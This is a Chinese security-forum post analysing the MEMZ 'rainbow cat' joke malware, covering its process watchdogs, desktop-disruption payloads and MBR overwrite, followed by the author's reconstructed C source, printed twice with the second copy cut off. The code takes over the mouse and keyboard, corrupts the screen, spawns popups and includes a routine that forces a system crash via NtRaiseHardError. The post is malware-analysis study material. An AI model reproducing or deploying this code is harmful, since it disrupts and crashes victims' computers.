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[原创MEMZ病毒详细分析
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发表于: 2021-9-5 21:13
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第一次分析病毒，拿彩虹猫来练了练手，先自己分析过程，遇到不懂的在看其他师傅的分析，学到很多，本文章将一步步分析彩虹猫病毒的实现过程，并且还原部分代码。
环境：我采用的是吾爱破解的xp系统，里面有很多现成的工具，ida，xdbg都有，只不过ida版本有点低，但是对于本病毒的分析也没太大影响，百度网盘链接：https://pan.baidu.com/s/1YvO264J-atvRUZew8AlS9g 提取码：abcd。（如果有大佬知道怎么在xp系统中使用更高版本的ida，或者有更好的分析病毒的虚拟机，可以在评论区给点资源，谢谢啦）
分析步骤，一般的病毒分析步骤，如下
但是，对于彩虹猫病毒这个样本，里面的函数和逻辑都比较清晰，先在虚拟机里面跑几遍，看看行为，就直接开始分析了。
分析过程大致分为3部分，启动部分，检测部分，彩虹部分，MBR部分。
首先判断该进程的传参，类似于标准 C 运行时argv和argc值。从而走不同的流程。
然后看下面干了什么。
大概就是以不同参数开了6个MEMZ.exe进程。对于里面出现的函数可以到MSDN官方文档去查，举个例子，对于SetPriorityClass()，推荐在谷歌用必应上直接搜索该函数，然后进官方文档看函数参数意义，比如说，我要看0x80代表什么。
这一部分就是用来判断用户是否主动关机，是否主动关闭MEMZ.exe，从而来用函数进行相应措施。
最外层。
然后来看看创建的线程函数check干了什么。
可以看出check函数用来判断是否主动关闭MEMZ.exe。
shutdown()函数中的StartAddress无法直接反编译，先用一位师傅谁的狗哥处理一下函数，然后来看看shutdown()函数。
然后看看创建的20个线程，就是用SetWindowsHookExW()实现了20个随机位置的messagebox弹窗，要理解这一部分，去查阅官方文档的函数。
然后我们跳出来，回到最外层，来看看消息处理函数干了什么。
WM_QUERYENDSESSION，https://blog.csdn.net/jessicaiu/article/details/83107903所以这个就是用来防用户关机的。
到这里检测部分就分析完了。
这部分是参数为/main的MEZE.exe进程执行的。主要表现在电脑桌面的花里胡哨。
这里v9类似于下面的结构
下面来分析这10个函数，里面很多api就不多讲了。
func1()，实现乱打开程序和网站。
func2()，实现鼠标不受控制。
func3()，键盘消息
func4()，发出声音
func5()，桌面变色。
func6()，随机弹窗
func7()，图标显示
func8()，不知道效果，迭代子窗口。
func9()，桌面窗口复制显现。
fun10()，随机复制某块区域。
一些函数的执行次数数是有限的，一些是随机的，可以看线程函数的代码。
这部分也是在以/main为参数的MEMZ.exe实现的。该部分才是真正十分有危害的部分。
MRB介绍：http://c.biancheng.net/view/1015.html，可以很形象的从文章最后一张图片看出MRB就是用来启动操作系统的。而MEMZ.exe的MBR部分就是修改了MRB。
开始我是直接动调，dump出了这段数据，然后拖到ida去分析，但是根本看不了。后面又看了狗哥的方法，就去试了试，还真可以，下面来写写详细过程。
环境搭建，首先我们需要在虚拟机里面下载Bochs，然后双击bximage.exe，然后选择1，选择fd，然后选大小，然后写名称。
将得到的img和bochsrc-sample.txt都复制到新建的文件夹里面，路径桌面都行，但不要有中文。
打开bochsrc-sample.txt的该处修改ata0-master:
然后修改.txt为.bxrc，双击，然后选择continue，ok。
然后将bochsrc-sample..bxrc拖到ida分析，就可以动调了。动调还是一样的，只不过是16位汇编，分析起确实恼火，我也只能通过看反应，和看寄存器来分析个大概。
动调分析。
解密第二部分数据
打印字符串
播放视频
到这里该病毒就差不多分析完了。
几乎除了MRB部分都写了，但是防关机功能并未成功，如果知道问题的大佬可以评论一波。
myblog：The_Itach1
然后附件给一下病毒和dump出的MRB部分吧。
typedef struct { int time;
int (*func)();
}functable;functable a[10];
typedef struct { int time;
int (*func)();
}functable;functable a[10];
#include<windows.h>#include<Mmsystem.h>#include<stdio.h>#include "tlhelp32.h"#include "tchar.h"#pragma comment(lib,"winmm.lib")#define DEF_PROC_NAME (L"test.exe")int wide;
int high;
HCRYPTPROV hProv;typedef struct { int time;
int (*func)();
}functable;int random1()
{ HCRYPTPROV v1;
BYTE pbBuffer[4] = { 0 };
v1 = hProv;
if (!hProv)
{
if (!CryptAcquireContextW(&hProv, 0, 0, 1u, 0xF0000040))
ExitProcess(1u);
v1 = hProv;
}
CryptGenRandom(v1, 4u, pbBuffer);
return *(unsigned int*)pbBuffer & 0x7FFFFFFF;
}LRESULT CALLBACK CBTProc(int nCode, WPARAM wParam, LPARAM lParam)
{ int mid_wide, mid_high;
DWORD* cte;
if (nCode == 3)
{
cte = *(DWORD**)lParam;
if ((*(DWORD*)(*(DWORD*)lParam + 32) & 0x80400000) != 0)
{
mid_wide = random1() % (wide - cte[5]);
mid_high = random1() % (high - cte[4]);
cte[7] = mid_wide;
cte[6] = mid_high;
}
}
return CallNextHookEx(0, nCode, wParam, lParam);
}DWORD WINAPI StartAddress(LPVOID lpParam){ DWORD ThreadId;
HHOOK hook;
ThreadId = GetCurrentThreadId();
hook = SetWindowsHookExW(5, CBTProc, 0, ThreadId);
MessageBoxA(0, "hacked by The_Itach1", "The_Itach1", 0x1010u);
UnhookWindowsHookEx(hook);
return 0;
}void BLUE(){ //typedef void (* pdef_RtlAdjustPrivilege)(DWORD, DWORD, BOOLEAN, LPBYTE);
//typedef void (* pdef_NtRaiseHardError)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD);
//HMODULE hMod=NULL;
//FARPROC RtlAdjustPrivilege;
//FARPROC NtRaiseHardError;
//unsigned char ErrKill;
//long unsigned int HDErr;
//hMod = LoadLibraryA("ntdll");
//RtlAdjustPrivilege = GetProcAddress(hMod, "RtlAdjustPrivilege");
//NtRaiseHardError = GetProcAddress(hMod, "NtRaiseHardError");
//pdef_RtlAdjustPrivilege NtCall = (pdef_RtlAdjustPrivilege)RtlAdjustPrivilege;
//pdef_NtRaiseHardError NtCall2 = (pdef_NtRaiseHardError)NtRaiseHardError;
//if (RtlAdjustPrivilege && NtRaiseHardError)
//{
// NtCall(19, TRUE, FALSE, &ErrKill);
// NtCall2(0xc0000233, 0, 0, 0, 6, &HDErr);
//}
HMODULE ntdll = LoadLibraryA("ntdll");
FARPROC RtlAdjPriv = GetProcAddress(ntdll, "RtlAdjustPrivilege");
FARPROC NtRaiseHardErr = GetProcAddress(ntdll, "NtRaiseHardError");
unsigned char ErrKill;
long unsigned int HDErr;
((void(*)(DWORD, DWORD, BOOLEAN, LPBYTE))RtlAdjPriv)(0x13, true, false, &ErrKill);
((void(*)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD))NtRaiseHardErr)(0xc0000233, 0, 0, 0, 6, &HDErr);
}int shutdown()
{ int i;
wide = GetSystemMetrics(0);
high = GetSystemMetrics(1);
for (i = 0; i < 1; i++)
{
CreateThread(0, 0x1000u, StartAddress, 0, 0, 0);
Sleep(500);
}
//BLUE();
return 0;
}DWORD WINAPI check(LPVOID lpParam){ HANDLE hSnapShot = INVALID_HANDLE_VALUE;
PROCESSENTRY32 pe;
int num = 0;
Sleep(0x3E8u);
while (1)
{
int pro_num = 0;
pe.dwSize = sizeof(PROCESSENTRY32);
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);
Process32First(hSnapShot, &pe);
do
{
if (!_tcsicmp(DEF_PROC_NAME, (LPCTSTR)pe.szExeFile))
{
pro_num++;
}
} while (Process32Next(hSnapShot, &pe));
CloseHandle(hSnapShot);
if (pro_num < num)
{
shutdown();
}
num = pro_num;
}
return 0;
}int func1()
{ LPCSTR website[3] = { "https://www.baidu.com/", "https://the_itach1.gitee.io/","https://cn.bing.com/" };
ShellExecuteA(0, "open", website[random1() % 3], 0, 0, 10);
return 1;
}int func2()
{ POINT Point;
int x, y;
GetCursorPos(&Point);
x = random1() % wide;
y = random1() % high;
Point.x = x;
Point.y = y;
SetCursorPos(Point.x, Point.y);
return 1;
}int func3()
{ INPUT input;
input.type = 1;
input.ki.wVk = random1() % 42 + 0x30;
printf("%d", input.ki.wVk);
SendInput(INPUT_KEYBOARD, &input, 28);
return 1;
}int func4()
{ LPCSTR pszSound[3] = { "SystemHand" ,"SystemQuestion" ,"SystemExclamation" };
int num = random1();
PlaySoundA(pszSound[num % 3], 0, 1u);
return 1;
}int func5()
{ HWND desktop;
HDC winddc;
RECT rect;
desktop = GetDesktopWindow();
winddc = GetWindowDC(desktop);
GetWindowRect(desktop, &rect);
printf("%d %d %d %d", rect.top, rect.bottom, rect.left, rect.right);
BitBlt(winddc, 0, 0, rect.right - rect.left, rect.bottom - rect.top, winddc, 0, 0, NOTSRCCOPY);
ReleaseDC(desktop, winddc);
return 1;
}DWORD WINAPI threadptr(LPVOID lpParam){ DWORD ThreadId;
HHOOK hook;
ThreadId = GetCurrentThreadId();
hook = SetWindowsHookExW(5, CBTProc, 0, ThreadId);
MessageBoxA(0, "Still using this computer?", "The_Itach1", 0x1010u);
UnhookWindowsHookEx(hook);
return 0;
}int func6()
{ CreateThread(0, 0x1000u, threadptr, 0, 0, 0);
return 1;
}int func7()
{ int icon_w, icon_h;
HWND desktop;
HDC winddc;
POINT Point;
HICON hicon1, hicon2;
icon_w = GetSystemMetrics(11) / 2;
icon_h = GetSystemMetrics(12) / 2;
printf("%d %d\n", icon_w, icon_h);
desktop = GetDesktopWindow();
winddc = GetWindowDC(desktop);
GetCursorPos(&Point);
hicon1 = LoadIconW(0, IDI_ERROR);
DrawIcon(winddc, Point.x - icon_w, Point.y - icon_h, hicon1);
hicon2 = LoadIconW(0, IDI_EXCLAMATION);
DrawIcon(winddc, random1() % wide, random1() % high, hicon2);
ReleaseDC(desktop, winddc);
return 1;
}int func9()
{ HWND desktop;
HDC winddc;
RECT Rect;
desktop = GetDesktopWindow();
winddc = GetWindowDC(desktop);
GetWindowRect(desktop, &Rect);
StretchBlt(winddc, 50, 50, Rect.right - 100, Rect.bottom - 100, winddc, 0, 0, Rect.right, Rect.bottom, SRCCOPY);
ReleaseDC(desktop, winddc);
return 1;
}int func10()
{ HWND desktop;
HDC winddc;
RECT Rect;
int x, y, m, n, p, q;
desktop = GetDesktopWindow();
winddc = GetWindowDC(desktop);
GetWindowRect(desktop, &Rect);
x = random1() % (Rect.right - 100);
y = random1() % (Rect.bottom - 100);
m = random1() % 600;
n = random1() % 600;
p = random1() % (Rect.right - 100);
q = random1() % (Rect.bottom - 100);
BitBlt(winddc, x, y, m, n, winddc, p, q, SRCCOPY);
ReleaseDC(desktop, winddc);
return 1;
}DWORD WINAPI th(LPVOID lpParam){ int i;
for (i = 0; i <= 30; i++)
{
(*(*(int(__cdecl*)(void)) lpParam))();
Sleep(1000);
}
return 0;
}void fungame(){ functable a[9];
int i;
a[0].func = func1;
a[1].func = func2;
a[2].func = func3;
a[3].func = func4;
a[4].func = func5;
a[5].func = func6;
a[6].func = func7;
a[7].func = func9;
a[8].func = func10;
DWORD* lpParam;
for (i = 0; i < 9; i++)
{
lpParam =(DWORD*) a[i].func;
Sleep(20000);
CreateThread(0, 0, th, lpParam, 0, 0);
Sleep(100);
}
}LRESULT CALLBACK WndProc( HWND hwnd,
UINT uMsg,
WPARAM wParam,
LPARAM lParam
){ if (uMsg != 16 && uMsg != 22)
return DefWindowProcW(hwnd, uMsg, wParam, lParam);
shutdown();
return 0;
}int main()
{ int i;
int process_num = 3;
WCHAR* filename;
LPWSTR cmdline;
LPWSTR* Argv;
int pNumArgs = 0;
WNDCLASSEXA wndclass;
MSG Msg;
HWND hWnd;
SHELLEXECUTEINFOW pExecInfo = { 0 };
wide = GetSystemMetrics(SM_CXFULLSCREEN);
high = GetSystemMetrics(SM_CYFULLSCREEN);
cmdline = GetCommandLineW();
Argv = CommandLineToArgvW(cmdline, &pNumArgs);
if (pNumArgs > 1)
{
if (!lstrcmpW(Argv[1], L"/watch"))
{
CreateThread(0, 0, check, 0, 0, 0);
wndclass.cbSize = 48;
wndclass.lpszClassName = "The_Itach1";
wndclass.lpfnWndProc = WndProc;
wndclass.style = 0;
wndclass.cbClsExtra = 0;
wndclass.hInstance = 0;
wndclass.hIcon = 0;
wndclass.hCursor = 0;
wndclass.hbrBackground = 0;
wndclass.hIconSm = 0;
RegisterClassExA(&wndclass);
hWnd = CreateWindowExA(0, "The_Itach1", 0, 0, 0, 0, 100, 100, 0, 0, 0, 0);
while (GetMessageW(&Msg, 0, 0, 0) != 0)
{
TranslateMessage(&Msg);
DispatchMessageW(&Msg);
}
}
fungame();
while (1)
Sleep(0x2710u);
}
if (MessageBoxA(
0,
"Are you ready to play the new game?\r\n"
"Please turn off all other processes, and then click OK.\r\n"
, "The_Itach1"
, 0x34u) == 6)
{
filename = (WCHAR*)LocalAlloc(0x40u, 0x4000u);
GetModuleFileNameW(0, filename, 0x2000u);
for (i = 0; i < process_num; i++)
{
ShellExecuteW(0, 0, filename, L"/watch", 0, 10);
}
pExecInfo.cbSize = 60;
pExecInfo.lpFile = filename;
pExecInfo.lpParameters = L"/main";
pExecInfo.fMask = 64;
pExecInfo.hwnd = 0;
pExecInfo.lpVerb = 0;
pExecInfo.lpDirectory = 0;
pExecInfo.hInstApp = 0;
pExecInfo.nShow = 10;
ShellExecuteExW(&pExecInfo);
SetPriorityClass(pExecInfo.hProcess, HIGH_PRIORITY_CLASS);
}
ExitProcess(0);
}#include<windows.h>#include<Mmsystem.h>#include<stdio.h>#include "tlhelp32.h"#include "tchar.h"#pragma comment(lib,"winmm.lib")#define DEF_PROC_NAME (L"test.exe")int wide;
int high;
HCRYPTPROV hProv;typedef struct { int time;
int (*func)();
}functable;int random1()
{ HCRYPTPROV v1;
BYTE pbBuffer[4] = { 0 };
v1 = hProv;
if (!hProv)
{
if (!CryptAcquireContextW(&hProv, 0, 0, 1u, 0xF0000040))
ExitProcess(1u);
v1 = hProv;
}
CryptGenRandom(v1, 4u, pbBuffer);
return *(unsigned int*)pbBuffer & 0x7FFFFFFF;
}LRESULT CALLBACK CBTProc(int nCode, WPARAM wParam, LPARAM lParam)
{ int mid_wide, mid_high;
DWORD* cte;
if (nCode == 3)
{
cte = *(DWORD**)lParam;
if ((*(DWORD*)(*(DWORD*)lParam + 32) & 0x80400000) != 0)
{
mid_wide = random1() % (wide - cte[5]);
mid_high = random1() % (high - cte[4]);
cte[7] = mid_wide;
cte[6] = mid_high;
}
}
return CallNextHookEx(0, nCode, wParam, lParam);
}DWORD WINAPI StartAddress(LPVOID lpParam){ DWORD ThreadId;
HHOOK hook;
ThreadId = GetCurrentThreadId();
hook = SetWindowsHookExW(5, CBTProc, 0, ThreadId);
MessageBoxA(0, "hacked by The_Itach1", "The_Itach1", 0x1010u);
UnhookWindowsHookEx(hook);
return 0;
}void BLUE(){ //typedef void (* pdef_RtlAdjustPrivilege)(DWORD, DWORD, BOOLEAN, LPBYTE);
//typedef void (* pdef_NtRaiseHardError)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD);
//HMODULE hMod=NULL;
//FARPROC RtlAdjustPrivilege;
//FARPROC NtRaiseHardError;
//unsigned char ErrKill;
//long unsigned int HDErr;
//hMod = LoadLibraryA("ntdll");
//RtlAdjustPrivilege = GetProcAddress(hMod, "RtlAdjustPrivilege");
//NtRaiseHardError = GetProcAddress(hMod, "NtRaiseHardError");
//pdef_RtlAdjustPrivilege NtCall = (pdef_RtlAdjustPrivilege)RtlAdjustPrivilege;
//pdef_NtRaiseHardError NtCall2 = (pdef_NtRaiseHardError)NtRaiseHardError;
//if (RtlAdjustPrivilege && NtRaiseHardError)
//{
// NtCall(19, TRUE, FALSE, &ErrKill);
// NtCall2(0xc0000233, 0, 0, 0, 6, &HDErr);
//}
HMODULE ntdll = LoadLibraryA("ntdll");
FARPROC RtlAdjPriv = GetProcAddress(ntdll, "RtlAdjustPrivilege");
FARPROC NtRaiseHardErr = GetProcAddress(ntdll, "NtRaiseHardError");
unsigned char ErrKill;
long unsigned int HDErr;
((void(*)(DWORD, DWORD, BOOLEAN, LPBYTE))RtlAdjPriv)(0x13, true, false, &ErrKill);
((void(*)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD))NtRaiseHardErr)(0xc0000233, 0, 0, 0, 6, &HDErr);
}int shutdown()
{ int i;
wide = GetSystemMetrics(0);
high = GetSystemMetrics(1);
for (i = 0; i < 1; i++)
{
CreateThread(0, 0x1000u, StartAddress, 0, 0, 0);
Sleep(500);
}
//BLUE();
return 0;
}DWORD WINAPI check(LPVOID lpParam){ HANDLE hSnapShot = INVALID_HANDLE_VALUE;
PROCESSENTRY32 pe;
int num = 0;
Sleep(0x3E8u);
while (1)
{
int pro_num = 0;
pe.dwSize = sizeof(PROCESSENTRY32);
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);
Process32First(hSnapShot, &pe);
do
{
if (!_tcsicmp(DEF_PROC_NAME, (LPCTSTR)pe.szExeFile))
{
pro_num++;
}
} while (Process32Next(hSnapShot, &pe));
CloseHandle(hSnapShot);
if (pro_num < num)
{
shutdown();
}
num = pro_num;
}
return 0;
}int func1()
{ LPCSTR website[3] = { "https://www.baidu.com/", "https://the_itach1.gitee.io/","https://cn.bing.com/" };
ShellExecuteA(0, "open", website[random1() % 3], 0, 0, 10);
return 1;
}int func2()
{ POINT Point;
int x, y;
GetCursorPos(&Point);
x = random1() % wide;
y = random1() % high;
Point.x = x;
[招生]科锐逆向工程师培训(2024年11月15日实地，远程教学同时开班, 第51期)
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